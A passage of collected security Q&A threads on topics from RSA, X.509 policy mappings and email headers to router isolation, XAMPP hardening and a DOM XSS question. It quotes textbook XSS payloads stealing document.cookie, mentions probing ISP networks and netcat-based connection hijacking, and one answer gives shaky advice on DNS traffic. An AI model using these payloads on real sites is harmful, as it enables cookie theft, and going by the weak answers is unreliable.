You wouldn't (if you want any level of security whatsoever) ever open a document originating from a public connection on a server with a browser or other client app.

MIME types can be synthesized at will by attackers too, which is why security measures must assume the worst.  Thus 5-7 above.  Items 1-4 are to reduce denial of server attack vulnerability and accidental storage overload or other site unavailability causes and risks.

Notes:

[1] Executable code can be eliminated by scanning for executable headers and server supported scripting languages or by decoding and re-encoding the media file in an unpredictable way.


using multiple Firefox profiles to increase security I am wondering whether it would increase security in any significant way, if I would use two separate Firefox profiles, one for normal browsing and the other for private/secure websites, such as my e-banking.

In case the normal profile got "compromised/infected/malwarized" in any way, would my other profile still be unaffected?

Or what about using two different browsers (on the same system, under the same user)? Would one browser be safe, even if the other was compromised ?

AFAIK, most of the bad things that could happen to my browser only affect the browser itself, i.e. attacker could steal browsing history, bookmarks, or potentially install malicious addon.

Can browser malware also reach outside the browser, i.e. execute shell or programs on the system, such as rm ~ ?

Any ideas would be appreciated

Yes it would increase security, as (malicious) cross-domain information leaks aren't possible between browser instances. You can also minimise the use of plug-ins and add-ons in high security browser environments, as they expose additional attackable surface.

Another way to mitigate the risk of malicious code running in your browser are ad blockers and NoScript-like add-ons. Chrome/Chromium allows you to disable script and plugin execution through its built-in domain-specific policy settings.

Separate browser instances will not protect against malware running on your computer. If an attacker successfully exploits a remote code execution vulnerability in one instance or gets you to run his code through social engineering, the resulting malware has access to all browser profiles/instances under the same user account (unless the malware manages to escalate its privileges).


Should I avoid deploying package.json or bower.json files to production? I know it is recommended to hide OS and server version information when serving up web pages. What about js library version info contained in package.json or bower.json files? It seems like this could be used to create attacks by looking at known vulnerabilities. However, I know ultimately that a user could figure this out on their own just by looking at the files, so is it worth it?

EDIT:
I'm also interested in what is standard practice, regardless of security concerns.

Allowing access to your package.json and similar files is going to be a bit of information disclosure and as such should generally be avoided.  In a scenario where a JS library had a known vulnerability, leaving this accessible in the web root would allow attackers to quickly assemble a list of valid targets.

It's unlikely to be a very high risk issue, but the general principle of not providing information to attackers holds, so I'd say that it shouldn't be placed into production in a form that's accessible to end-users.

In terms of standard practice to address this risk.  Typically either strip these files as part of the deployment process, or using something like .htaccess to prevent access to them.


Payment security on Android App I am developing an application from which users browse and buy books. The client can be Android ,iOS, Mac. The server is ASP.net Web APIs.

I know there are many payment services available. One of these is Authorize.net, which I think I will use. When a user pays for a book, he/she will get a unique link to download data from the server. I want to prevent other users who has unlawfully retrieved that link from downloading data. Additionally, I want to keep users' payment information secure.

I have no experience in security. So, please give some advice on how to implement this. Thanks.

Hacking is creativity. Applications are complex and when an attacker can look at the entire application he can see interesting ways of abusing it.  In the light of a few sentences explaining some vague application I would consider the following:

1)The OWASP top 10

2)Make sure you verify the SSL certificate when connecting to the APIs you need.

3)Avoid cryptography whenever possible.  It can cause a lot of problems especially if you are not a dedicated cryptographer.

4)You cannot control the client,  avoid  CWE-602 violations.


What are the best practices for RSA-based security? I'm building a platform with a strong security. Security is based on encrypting data with AES-256 encryption. Yet the system needs to "share" these keys among the users and they need to be transferred in an encrypted way too. In order to do this, I'm using an RSA algorithm.
The question is how can I generate a secure pair of RSA keys?
I also read that p, q, φ(n) need obviously to be kept secret. By the way, when I send a public key, I also need to send the modulo n. Given that the totient function is publicly known, everybody could calculate φ(n), right?
So, how can I keep secret φ(n)?

Computing φ(n) from n is equivalent to factoring n:

If you know the factors p and q then φ(n) = (p-1)(q-1).
Since φ(n) = n - (p+q) + 1, knowing n and φ(n) means that you know pq and p+q. It so happens that p and q are the two solutions of the quadratic equation X2-(p+q)X+pq = 0; finding the roots of a quadratic equation (in the real numbers) is easy.

Therefore, it is no empty banter than to call the public key "public": you can make it public without giving away the private key.

Generating a RSA key pair is not mathematically difficult, but, as with all things crypto, it can fail in many subtle ways that you would not be able to detect (as usual, you cannot test for security, only for functionality). Therefore, it is highly recommended that you use existing code and facilities for such jobs (i.e. a crypto library like OpenSSL, or something already included in your programming framework like Java's java.security.KeyPairGenerator).

Producing key pairs is the easy part. Public-Key Infrastructure is about the hard part: distributing the keys. Asymmetric algorithms like RSA split keys into a public key and a private key, and you only have to distribute the public part, and since it is public, such distribution requires no encryption. This makes key distribution easier; but not easy. THe main problem is how User A will make sure that it got the "right" public key for User B (i.e. the public key for which User B indeed knows the private key, and not another key which the attacker cunningly pushed in lieu of the right key).

PKI is known to be a very complex issue (and a difficult market as well); the best practice is not to rebuild it from scratch. Instead, research X.509 PKI (in particular this tutorial) and OpenPGP (X.509 is designed to support hierarchical PKI, while OpenPGP was meant for Webs of Trust).


X.509 certificate policy mapping question So I'm a little confused how X.509 certificate policy mappings work.  So let's say the following depicts my cert chain:

root CA ---> intermediary CA ---> client cert

Would the root CA have a policy mapping?  If so how could there be a subjectDomainPolicy?  If the subjectDomainPolicy is supposed to match the parent certs issuerDomainPolicy and the cert in question is the top level cert in the hierarchy, how can subjectDomainPolicy match anything?  And if it can't match anything what should it be?

From the X.509 RFC:

   In general, certificate policies that appear in the
   issuerDomainPolicy field of the policy mappings extension are not
   considered acceptable policies for inclusion in subsequent
   certificates in the certification path.

How could that even be?  If root CA, in the above diagram, has an issuerDomainPolicy, that's pretty much saying that the intermediary CA's policy should be the same, isn't it?

The idea behind certificate policies is that a policy applies to the complete certification process, from root down to end-entity, and this is reflected in the certificate by inclusion of the policy OID in all the certificates in the chain. Policies are "vertical". A validator (someone who validates the certificate chain) is supposed to have in its trust store the definition of acceptable policies, on a per-root basis. To picture this in simple words: a typical trust store entry should be something like "I trust this root CA (name+public key) for verifying certificates which comply to policy 1.2.3.4". If the policy 1.2.3.4 does not appear in all certificates in the chain, the validator will reject the chain.

However, in hierarchical PKI like what X.509 supports, it is common to have horizontal isolation: entities which control CA and sub-CA operates at distinct levels and each level has its own requirements and conventions. Therefore, a mechanism for dealing with such level-based changes has been including, and that's the certificate mappings. When a mapping "1.2.3.4 to 1.5.6.7" appears in a CA certificate somewhere in the chain, it means "what was known as policy 1.2.3.4 in the upper levels, is called 1.5.6.7 from this point downwards". Our validator, who initially requires policy 1.2.3.4, takes note that what he should now look for in subsequent certificates is 1.5.6.7.

This process is made more complex by the following characteristics:

You can map one OID to several OIDs.
There is a special OID called "anyPolicy" which is a wildcard: it matches all policies.
Each certificate in the chain can prohibit the anyPolicy, or require an explicit policy from some point in the path.
A lot of widely deployed CA get it completely wrong and use policies as a kind of comment (in particular, they give each CA a single CA-specific policy OID, which the CA includes in its certificate, without any mapping).

So the sad state of affairs is that certificate policies, as currently deployed, do not work as was intended. Trust stores contain only root CA without any set of policies (i.e. all policies are accepted for paths starting with these roots, and no explicit policy is required -- the "policy tree" is allowed to be empty).

Root CA in themselves do not contain policy mappings. They are not real certificates. A root CA, known in the standard as a trust anchor, is the a priori knowledge of a name and associated public key. A pervasive tradition is to encode root CA as certificates, often self-signed (because there is a non-optional "signature" field in a certificate). The certificate format is just convenient for that. However, certificates may contain a lot of features (in particular many extensions) which make no sense for root CA; policy mappings are such features.


IP address in email header? I sent an email through my normal internet provider.
Afterwards, I set up an account so I’d have VPN to hide/randomize my IP address.
If someone traces the original email (before I got vpn to change my IP address) will that yahoo email I sent, have my original IP address?
I didn’t get VPN yet, so now I’m wondering if they’ll see my IP address.
[It was through YAHOO email, using a mobile phone.]

When a mail transport agent (a mail server) receives an email, it's required to add a Received header indicating from where it received the data.  This customarily contains information about the hostname or IP of the server, the date and time of receipt, the protocol used (including whether it was authenticated), and potentially other information.  In addition, it may include information about the account used to send the mail, which is useful for dealing with abuse problems.
The information that's recorded is what the mail server recorded when the mail was received.  If you sent the mail from a machine without using the VPN, then the public IP address will be recorded as part of the email, regardless of whether you use a VPN or otherwise change your IP address later.  If you were using a VPN when the mail was sent and you properly configured it, then the VPN's IP address will be used.
If you used a webmail client, the webmail client, as a tool that processes email, will also probably insert a Received header before forwarding it onto the mail server, and it will usually insert the IP address it saw as well.  The same policy applies from the paragraph above, just substitute "webmail interface" with "mail server."
Do note that if you sent a mail to your normal ISP, regardless of whether you used a VPN, they will probably record the fact that you authenticated to send the mail, either in the email, or in their logs.  All reputable providers require some sort of authentication (or other sender verification, such as an IP check) before sending mail destined for other domains, because otherwise spammers would abuse those servers.  Thus, it's not possible to send an anonymous email directly through your ISP's mail server unless you use a service such as a remailer.


Solution to remain anonymous on a website that dismiss tor users? I want to access to a website who recognize tor users and dismiss them. I have read that if you connect to a proxy after your tor exit node, the website wouldn't know that you are a tor user and accept you. Essentially, I want to build a connection of the following form:

My computer -----> Tor -------> Free Proxy ------> Website

What I have done :

edit the .torrc file to add a proxy = failed
add manually a http proxy in the Tor Browser's preferences = failed (the Tor Button goes red with a cross on the onion)
edit the etc/proxychains.conf to add a socks4 proxy and type proxychains firefox in a shell = failed with DNS errors, google.com does not exist

What is the best solution to do so ?

Tor -> Startpage search -> view by Ixquick Proxy. This always worked for me the few times I've needed it.
or just use https://ixquick.com search engine instead of Startpage.

As for setting Tor up to do this automatically without the hassle, I don't know.


Would it be sufficient to perform ASLR by randomizing only the base address of the executable? According to Wiki, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

Conceptually, ASLR prevents buffer overflow exploits that rely on knowledge of the process memory address layout. While I understand that the more randomization the better, would it be useful to only randomize the base of the executable, and leave the rest unchanged, relative to this base? If an attacker has trouble getting the base address of the executable, he will have trouble getting the base address of other areas of the executable, right? Or am I missing something?

No.  Many attacks rely on the address of a library routine, and don't care where the executable is loaded.  Pretty much any fixed address can be exploited.


How to best present 'Security Vulnerability Feedback' to devs in the IDE (like VisualStudio) I posted today a pretty cool PoC where I was able to provide real-time 'security vulnerability feedback' to a developer as he is writing code in VisualStudio.

You can see the video at Real-time Vulnerability Creation Feedback inside VisualStudio (with Greens and Reds) where every time the user makes a change to the code there is an auto-compilation (using Roslyn's C# compiler) and a SAST scan (using Cat.NET)

Although this PoC is quite agressive (I do a compilation and scan on every keystoke which is a bit OTT), here is another video that shows a bigger compilation+scan on save: Real-Time C# Solution Compilation and Security Scanning (using Roslyn and Cat.NET)

What is key about this PoC is that is represent the real-time loop (almost a REPL) that we need for (some types) of security issues.

Next we need to think about the best way to present this information to developers. For example I was thinking that we might want to have a number of colours shown depending on the type of issue, how serious it could be, its exploitability, etc...

Another cool idea is to change the cursor's color or its shape (think bigger or smaller), depending on the number of issues currently outstanding :)

This is a very cool idea, but I think that to succeed it is important to integrate this seamlessly with the existing environment.

To that end, I would suggest NOT to come up with some new, unexpected way to present the information, but to use the existing formats and mechanisms.

For example, underline critical and high-risk vulnerabilities with a red squiggly line - just as Visual Studio does for compilation errors by default, and just as almost all programmers expect. You could mark less serious flaws with less scary colors - blue, green, etc.
I would go one step further - and allow this to be configurable, int VS's Fonts and Colors options dialog, to enable programmers to either have it fit in with their specific settings, or even have it stand out. You could have one setting for Critical, another color for High, etc.

Additionally, just as with compilation errors and warnings, there should be a window listing all currently found issues - the richer this window, the better, of course (filtering, sorting, etc).

This would go a great distance in training developers that security flaws, are bugs just like functional bugs - and, in some cases (e.g. Critical/High), should be treated as compilation errors.

Note that VS's builtin Code Analysis works similar to this (except not realtime, for the most part).


Inbound traffic from ISP's DNS server My Symantec end point traffic logs keep showing that inbound UDP traffic from the DNS server is blocked. This happens every few minutes. Is it a potential attack?

Probably it is a DOS attack.

Check the log carefully and verify the source IP of the request.

If it is a DOS attack,

the source IP's may look like
either

xxx.xxx.xxx.000
 For all entries
 Or

May be a group

xxx.xxx.xxx.000
xxx.xxx.xxx.001
xxx.xxx.xxx.002

Likewise

If you see random IP address repeatedly, it may be a DDOS attack.

Don't worry the Firewall will take care of it.

If it can't, either down the server by yourself or use a 302 temporary redirect

UPDATE

  The firewall is efficiently preventing it. If you want it not to come, Just add a 302 for 1 or 2 hours to google.com or something and then remove it.


Is Power Failure an Environmental or Structural Threat? According to the CySA SYBEX book, in chapter 1, power failures are listed as both environmental threats and structural threats... but which one is it?
According to the book:

Environment threats occur when natural or man-made disasters occur
that are outside the control of the organization. These might include
fires, flooding, severe storms, power failures, or widespread
telecommunications disruptions.

At the same time,

Structural threats occur when equipment, software, or environmental
controls fail due to ... environmental controls (such as power and
cooling infrastructure) ...

As @ConorMancone says, there's no reason it can't fall under both categories.
When a hurricane takes down power lines and imposes a power outage, that's an environmental threat.
When the power supply company lacks sufficient capacity and inflicts brownouts and blackouts on its customers, that's a structural threat.  (Peabody, I'm looking at you).
These both meet the posed question, "Susan has lost power to her building" so such a question would be wrong without more details to indicate which interpretation is more valid.


Benefit of remote wipe when the drive is encrypted? How much is "remote wipe" beneficial for company data protection on company laptops, assuming that the storage is encrypted?

I understand it so that only determined, targeting attackers are interested in confidential company data. For sure they will not just turn the stolen laptop on and connect to the Internet. If so, what threat is mitigated by having a remote wipe agent?

It protects the device from attacks on the login process. If I can log in, then your encryption is meaningless.


Are salts and password hashing needed for random keys? I know that salts protect against rainbow tables, and I also know that hashing a password a certain number of times increases the strength of encryption, with more times of hashing being better.

But are salts and hashes really needed if you have a truly random key and not a password entered by a user?  For instance, suppose the password is a "ridiculously" long string of random printable (or better yet, pure binary) characters, for instance 256 random bytes for an AES256 cipher.

Does it matter how the cipher is used?  For instance, one use might be to encrypt the contents of a file with the random key, and another might be to use it as a stream cipher to encrypt some kind of communications.  Assume in all cases that in addition to being random the key itself is secure (e.g. never transmitted on an un-secure channel).

You seem to be mixing different use-cases here. One use-case is obtaining an encryption key from a secret. The other is storing login data.

If you need to derive an n bit encryption key for a symmetric cipher as your AES example suggests, the best you can hope for is n bits or entropy. If you have a true random source and use it to generate all n bits independently, that's the maximum possible entropy. Hashing your data at best won't decrease the entropy.

If your input is a user-provided pass-phrase, a key derivation function has to be used to condense the entropy of the arbitrary length string into the number of bits expected by the cipher. A simple hash function can be used as a key derivation function but it won't be very secure. User's pass phrases often have very poor entropy. The goal is to make the evaluation of the key derivation function so expensive that attacking the pass phrase is no more efficient than directly brute-forcing the key bits. In your case, the identity function already provides this property, however.

A different use-case is storing login data in a database. Here, hashing and salting is not used to “make the passwords more secure” but to make it hard to guess the actual password even in the case that the attacker gets hold of the database. If the database contains the passwords in plain text, it doesn't matter how long and random the password is. The attacker can always read it directly.


Trust Boundary Definition and Example I am very confused with Trust Boundary. How does this work?

Do I draw a trust boundary in between the application tier and the web tier because my servers in the web tier has a higher chances of getting hacked? Or should I draw it in between my end user PCs and my web server?

Does it also mean that communication going through this must be validated and encrypted? Can I just do one of them?

When data crosses from one "system" to another, draw a trust boundary line.  This would certainly be anyplace where data traverses a network interface, or passes between two processes.

Data entering from across a trust boundary indicates every place where the receiving systems need to validate the inbound data.  Data crossing a trust boundary also means that you have identified a place where you should examine the security of the data.  It doesn't mean you must encrypt or that you must authenticate, but as you analyze the connection for vulnerabilities, you may discover that encryption and/or authentication remediates the issues.


Decrypt TLS from an IDS So I am trying to figure out what the packet payload is off of a possible TLS HeartBleed alert from my IDS. I have read that Wireshark is able to do it with some certain keys, but isn't that in real time (ish). Would I be able to put that capture into wireshark if I can use the certificate from my server?

I believe it would be the .cer one right?

You probably do not need to decrypt the Packet since it most likely contains no useful information. If you look into the Packet with Wireshark you should see that the Type of (atleast one) TLS-Record in the Packet is 0x18 (Heartbeat Protocol). The (decrypted) Heartbeat Message contains two TLS-Fields: HeartbeatLength and HeartbeatPayload. If your IDS was able to decrypt the Record, it probably saw that the HeartbeatLength in the Record was greater than the number of HeartbeatPayload Bytes. If the Server too which this Packet was sent is vulnerable to Heartbleed, this packet would have triggered the famous Heartbleed vulnerability. On the other Hand, if your IDS cannot decrypt Records, it probably just didn't like Heartbeat Messages in general.


How to secure a modem/ wifi router without login? A friend of mine has a DSL-modem/wifi-router from his ISP. The configuration page of the modem requires no login and no login can be set. It is said that there also exists a superuser but this is only known to ISP-technicans and is not public. Anyone on the network or using attacks like DNS rebinding or viruses can read and write the user configuration of the modem without login.

Only official modems of the ISP are allowed by the ISP so he cannot exchange it. It is the only ISP in the area.

When asking the ISP about it, he said, that wifi encryption is enough and it is because users call the hotline all the time because they forgot the passwords. (By default the ISP also logins you with full access with your contract credentials on his homepage without requesting username/password but using the IP-address as authentification and ignores that users share their wifi-password with friends. We already changed this.)

Is this configuration really secure in practice like the ISP said or what steps can be done to make it secure?

There is actually two different issues in your question:

ISP provided modem/router with no password,
Customer's page on ISP's website use the source IP as sole authentication.

ISP provided modem/router with no password

You have two possibilities, depending whether you opt to keep the ISP box or replace it altogether.

Solution 1: isolate the ISP box

Consider the modem/router as untrusted, part of ISP's network and not your own, and assume this choice. This is the choice I recommend since it fully complies with any ISP End-User Licence Agreement (EULA) and ensure you can benefit from any of their service or service upgrades now and in the future.

Moreover, it provides a good abstraction layer so changing of ISP or technology (ADSL, cable, fiber) is as simple as replacing the ISP box and affecting it the right IP, with strictly no impact on your own network especially if you do not rely on ISP's DNS servers.

To achive this you may want to take the following actions:

Disable ISP box's WiFi, and use a WiFi router of your own instead if you need WiFi capabilities,
Put a device with firewall capabilities (it can be the WiFi router mentioned above, and old computer, etc.) between your wired network and the ISP box with such kind of policy:

By default all communication between ISP's box IP and your LAN is blocked in every direction (the ISP box has no reason to contact your LAN's computers, and your LAN's computers while they go through the ISP box to access the Internet have usually no reason to contact the box itself),
One exception to the rule above: a lot of ISP's provide a DNS server in their box, unless you are using an alternative DNS server like OpenDNS or Google Public DNS (or your own!) you may still want to allow your LAN computers to contact the ISP box on the domain (53 tcp/udp) port,
When needed and only when needed, you can open an access from one of your LAN's computer to the ISP box HTTP (80 tcp) port (for instance) to access the administration interface. Do not forget to disable this access once your are done.

This will basically isolate the ISP box and relegate it to the role of a simple modem. In case you need some more features from your ISP box (television for instance), you can enable the access from the appropriate LAN devices to the ISP box on selected ports (you should find information on which ports to enable on Internet forums). Just be sure to keep administration ports closed by default (these are usually HTTP-80, HTTPS-443 and telnet-23, don't forget this one!) because these are the dangerous ones.

Solution 2: replace the ISP box by an ADSL modem or a router in bridge mode

The good thing is that this solution will give you maximum control over your Internet connection:

You will be able to handle yourself the QoS of your Internet connection, mitigating bandwidth consuming uploads impact over downloads,
I've read that ISP use the VPI/VCI parameters to route flows to different networks in their infrastructure (Internet access, phone line VoIP, television video streaming, possibility maintenance stuff, etc.). From a black hat perspective, having the possibility to manually set the VPI/VCI parameters of your modem allows you to explore ISP's network parts not normally accessible (and probably less secured) if you were using the genuine ISP's box.

I say the latter not to encourage you to do illegal stuff, but to make you understand why some ISP impose the use of their own box to their users and forbid custom firmwares. The attitude of ISP regarding this point varies a lot:

Some ISP's let the user fully free of their action  and officially allow user provided material to be connected to their network. They just announce that they provide support only for their own box, for other devices they provide generic ADSL parameters to use and it's up to the end-user to configure everything by himself. This was common in the pre "triple play" era, but nowadays it is sadly (but obviously?) not the way followed by the major ISP's.
Some ISP officially impose the use of their own boxes, but do not technically restrict anything. You can find the parameters to use for your modem on Internet forums, and it will work. Be conscious, though, that your modem will only provide you Internet access, all other services usually provided by your triple or quadruple play ISP box (phone, television) will not be available with your modem.
Some ISP strongly impose the use of their own boxes:

First they filter incoming connection request's MAC address and reject the connection if the device MAC does not correspond to the MAC allocated to the subscriber (a common symptom of this is that the box from one subscriber is not be able to connect at another subscriber's home).
Then from time to time they scan currently connected devices to detect non complying devices (I suppose such scanning can be easily merged in a script checking if your box firmware is up-to-date, except that it will not fail silently if it cannot connect to your box).

If you are detected as having maliciously bypassed the MAC check to connect a non compliant device to your ISP network, your ISP will consider this as a violation of the EULA and will be free to put an immediate term to your subscription (but you should not go in jail for this... unless it turns out that they also discover that you were wandering in their internal VoIP infrastructure following the black hat point above, if so be ready for some trouble...).

Customer's page on ISP's website use the source IP as sole authentication

Funnily enough, the security of home Internet access was one of my assignments in my last years study, and I saw with my own eyes such an awful practice.

Once someone gets access to your WiFi (if it is a stranger having no access to your home, but someone inside your home can do this from your LAN too), he gains access to the detailed phone bill showing every number you called, when and how long, access to the email box, plus any other service the ISP may provide (for instance some offer a web access to your phone voicemail) with the possibility to activate disabled ones... Well, huge security fail, fortunately this ISP eventually changed this to go on a more traditional and secure authentication system (it seems in your case this was optional, in the case I analysed it was not...).


How to spoof an ATM transaction? About 20 years ago, a man disappeared, but his ATM card was "supposedly" used the day after the disappearance.  However, surveillance footage of the store shows no-one in the store physically used the machine.

I think perhaps someone spoofed the transaction as a rabbit trail, to make it look like the victim or another person used the card there other than the actual abductor.

Let's say someone wanted to place a transaction on a debit/ATM account for $X at a typical convenience store location at XYZ time/date without actually using the card at that time/date.

Provided they knew your PIN, how feasible is this 20 years ago, either at the machine itself, or via some other method?

I don't think it's impossible considering where IT security was 20 years ago. It is very possible that he attacked the ATM remotely by dialing into it. It would require a certain skillset though.


DES Decryption followed by Encryption, will it produce the original text? This is regarding DES.

My question is, if a plain text is first decrypted (with the decryption algorithm) using Key K1 and then encrypted using same K1, would the result still be the original plain text?

Yes, like all block ciphers, DES is a PRP. That is a Pseudo Random Permutation. A permutation is a reordering of all possible input values.

In the case of DES there are 2^64 possible input values as the block size of DES is 64 bits. If you have a key and DES in encrypt or decrypt modus then the key will indicate a reordering of all 2^64 possible values. In other words, each value will be translated into another value at the same position in the re-ordered array.

Now of course decryption does the reverse translation to encryption. But if decryption is the exact reverse of encryption, then encryption is the reverse of decryption.

Lets take a look at a possible permutation of two bits for a specific, unspecified key (as writing down a 2^64 permutation is impossible):

00 ENC 11
01 --> 01
10 DEC 00
11 <-- 10

You can simply rewrite this as

00 DEC 10
01 --> 01
10 ENC 11
11 <-- 00

So in the first column there are all possible plaintext and in the last column all the possible ciphertext.

Obviously it doesn't matter if you switch encryption and decryption.

As some ciphers implementations are actually somewhat more efficient in the decryption direction it may make some sense to switch encryption and decryption around. I haven't seen many protocols that do though; the advantages are minimal while the confusion would be high.

In the case of triple-DES this property is actually used. Triple-DES uses an EDE (encrypt, decrypt, encrypt) scheme for encryption and a DED scheme for decryption. As you can see, the middle part of the encryption and decryption is in reverse.

Side note: The actual number of possible permutations - the number of ways you can reorder all possible plaintext blocks - is very high. To be precise, it's 2^N! where N is the block size. So there are 2^64! (that's about 10^(10^88) - a truly scary number) possible permutations for DES; only one of those is selected by the key.


How safe is it to install XAMPP on my home computer to test PHP code? I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer.

Is it generally safe to install XAMPP (given that I haven't done it before and don't have a lot of experience with server security)? What do I need to be aware of? Alternatively, is there a safer way to test PHP code?

Apache and MySQL can be configured so that they only listen to requests from your own computer. For most test systems this is fine and it greatly reduces the risk because  the services are not reachable from the Internet.

Before you start XAMPP for the first time find and edit these files:

For Apache edit the files xampp\apache\conf\httpd.conf and xampp\apache\conf\extra\httpd-ssl.conf. Look for lines starting with "Listen" such as

Listen 80

and replace them with

Listen 127.0.0.1:80

For MySQL open the file xampp\mysql\bin\my.cnf find the section "[mysqld]" and add this line

bind-address=localhost

After starting the services, verify the result by going to a command window and start and execute:

netstat -a -n

For the entries marked as LISTEN in the last column, look at the Listen column. It should always start with 127.0.0.1 or ::1 but not with 0.0.0.0.


Organizing results from netstat using find on Windows I am trying to figure out a way to natively do this within Windows without having to load any 3rd party applications. When I run:

netstat -ba

I want to find established connections without losing the executable name that is attached to that particular connection.

The original output looks like this:

  TCP    127.0.0.1:5905         My_HOSTNAME:1044        ESTABLISHED
 [agent.exe]
  TCP    127.0.0.1:5905         My_HOSTNAME:1045        ESTABLISHED
 [agent.exe]
  TCP    127.0.0.1:5905         My_HOSTNAME:1047        ESTABLISHED
 [agent.exe]
  TCP    127.0.0.1:5939         My_HOSTNAME:0           LISTENING
 [TeamViewer_Service.exe]
  TCP    127.0.0.1:5939         My_HOSTNAME:47311       ESTABLISHED
 [TeamViewer_Service.exe]
  TCP    127.0.0.1:9089         My_HOSTNAME:0           LISTENING
 [vmware-converter-a.exe]
  TCP    127.0.0.1:9421         My_HOSTNAME:0           LISTENING
 [netsession_win.exe]
  TCP    127.0.0.1:12656        My_HOSTNAME:33335       ESTABLISHED
 [java.exe]
  TCP    127.0.0.1:19872        My_HOSTNAME:47441       ESTABLISHED
 [Dropbox.exe]
  TCP    127.0.0.1:24001        My_HOSTNAME:0           LISTENING
 [fileserver.exe]
  TCP    127.0.0.1:24001        My_HOSTNAME:1078        ESTABLISHED
 [fileserver.exe]
  TCP    127.0.0.1:31000        My_HOSTNAME:32000       ESTABLISHED
 [java.exe]
  TCP    127.0.0.1:32000        My_HOSTNAME:0           LISTENING
 [wrapper.exe]
  TCP    127.0.0.1:32000        My_HOSTNAME:31000       ESTABLISHED
 [wrapper.exe]
  TCP    127.0.0.1:33335        My_HOSTNAME:0           LISTENING
 [postgres.exe]
  TCP    127.0.0.1:33335        My_HOSTNAME:1071        ESTABLISHED
 [postgres.exe]
  TCP    127.0.0.1:33335        My_HOSTNAME:1092        ESTABLISHED
 [postgres.exe]
  TCP    127.0.0.1:33335        My_HOSTNAME:12656       ESTABLISHED
 [postgres.exe]
  TCP    127.0.0.1:47311        My_HOSTNAME:5939        ESTABLISHED
 [TeamViewer.exe]
  TCP    127.0.0.1:47358        My_HOSTNAME:2002        ESTABLISHED
 [LogMeInSystray.exe]
  TCP    127.0.0.1:47389        My_HOSTNAME:62522       ESTABLISHED
 [vpnui.exe]
  TCP    127.0.0.1:47441        My_HOSTNAME:19872       ESTABLISHED
 [Dropbox.exe]
  TCP    127.0.0.1:49152        My_HOSTNAME:0           LISTENING
 [omtsreco.exe]
  TCP    127.0.0.1:62514        My_HOSTNAME:0           LISTENING
 [cvpnd.exe]
  TCP    127.0.0.1:62522        My_HOSTNAME:0           LISTENING
 [vpnagent.exe]
  TCP    127.0.0.1:62522        My_HOSTNAME:47389       ESTABLISHED
 [vpnagent.exe]
  TCP    10.97.0.133:7139       My_HOSTNAME:0           LISTENING
 Can not obtain ownership information

When I find the established connections like this:

netstat -ba | find "EST"

It drops the executable names that are displayed in the line above and the output looks like:

TCP    127.0.0.1:47311        My_HOSTNAME:5939        ESTABLISHED
TCP    127.0.0.1:47358        My_HOSTNAME:2002        ESTABLISHED
TCP    127.0.0.1:47389        My_HOSTNAME:62522       ESTABLISHED
TCP    127.0.0.1:47441        My_HOSTNAME:19872       ESTABLISHED
TCP    127.0.0.1:62522        My_HOSTNAME:47389       ESTABLISHED
TCP    10.97.0.13:11523       SPICEWORKS:8080         ESTABLISHED
TCP    10.97.0.13:11537       SPICEWORKS:5556         ESTABLISHED

I would like to be able to return results that look like:

  TCP    127.0.0.1:47441        My_HOSTNAME:19872       ESTABLISHED
[vpnagent.exe]
  TCP    127.0.0.1:62522        My_HOSTNAME:47389       ESTABLISHED
Can not obtain ownership information
  TCP    10.97.0.133:711523     SPICEWORKS:8080         ESTABLISHED
 [vpnui.exe]

or like this:

  TCP    127.0.0.1:47441        My_HOSTNAME:19872       ESTABLISHED [vpnagent.exe]
  TCP    127.0.0.1:62522        My_HOSTNAME:47389       ESTABLISHED Can not obtain ownership information
  TCP    10.97.0.133:711523     SPICEWORKS:8080         ESTABLISHED [vpnui.exe]

Using only what's built into Windows how can I achieve this?

Depending on the version of Windows you are running, powershell should give you what you need.

Something like this:
netstat -ba |Select-String -pattern "EST" -context 1,0

Take a look at this technet article for some select-string info:
https://technet.microsoft.com/en-us/library/ff730968.aspx


Necessary components for PGP I came across this question during an interview. I was asked: What are the two main components of PGP encryption necessary for it to work?

I was thinking in line of Private and Public Keys but I am not sure. Googling the question did not help neither.

Any ideas?

Let's start with having a look on what RFC 4880, OpenPGP considers important in the introduction (highlighting added by me):

  This document provides information on the message-exchange packet
    formats used by OpenPGP to provide encryption, decryption, signing,
    and key management functions.

What do we need for the individual tasks? Key management definitely requires public key (asymmetric) cryptography for a reasonable key exchange, also signing requires it. On the other hand, encrypting and decrypting (large amounts of) data would be very slow with these algorithms, thus OpenPGP adds symmetric cryptography for them. This is why OpenPGP is called an hybrid cryptosystem.

I'd consider (the combination of) those to be the two most fundamental concepts behind OpenPGP. Private and public keys only both belong to the concept of public key cryptography, I wouldn't count them twice.


Is SSL/TLS pointless for IRC? Assuming a network which has absolutely no support for SSL/TLS, as rationalised by this blog post, is it possible guarantee the security of privileged operator connections?

There are already mechanisms which allow us to oper using salted password hashes, which should be unfeasible to attack.1
As I understand, traffic is routed between devices I have no control over, and those devices could trivially hijack an already established connection. Should I be concerned that any router between my IRC client at home and my server hosted in a different country could steal my authenticated, yet insecure connection, and use it to wreak havoc?

Furthermore, I'm aware that IP addresses are often allocated dynamically to home internet connections such as mine, and so my IP address might change on occasions. When such a DHCP renewal event occurs, is it possible that some other user of my ISP might be able to steal an authenticated, yet plain-text (insecure) connection?

Footnote: I've chosen to leave that there to keep previous answers relevant, but I've realised it's not really worth mentioning. If you'd like to include attacks against salted oper authentication, that would probably be a valuable discussion, but otherwise anything seemingly relevant to current IRCds that don't support SSL/TLS (such as ircu) should be fine.

No it is not pointless. The easiest example: You want nobody to know what's your nickname, in which channels you are and what you're writing in queries (private messages).

To address the concrete question

  Should I be concerned that any router between my IRC client at home and my server hosted in a different country could steal my authenticated, yet insecure connection, and use it to wreak havoc?

In theory you should be concerned, as every router can do so. In practice it depends on who might want to do so and what he can do. I would think the people who both may want it and can do it are inside your LAN.

Your network admin might take over your connection and this won't be too complicated. You do not need to think about messing with TCP-Packets of your stream. He may just have a TCP-Proxy running, which can be as simple as two netcat instances and a firewall rule.


XSS: Parsing Javascript Reading about DOM based XSS from http://www.webappsec.org/projects/articles/071105.shtml

It illustrates some examples like:

http://www.vulnerable.site/welcome.html?foobar=name=<script>alert(document.cookie)<script>&name=Joe

and

 http://www.vulnerable.site/attachment.cgi?id=&action=foobar#<script>alert(document.cookie)</script>

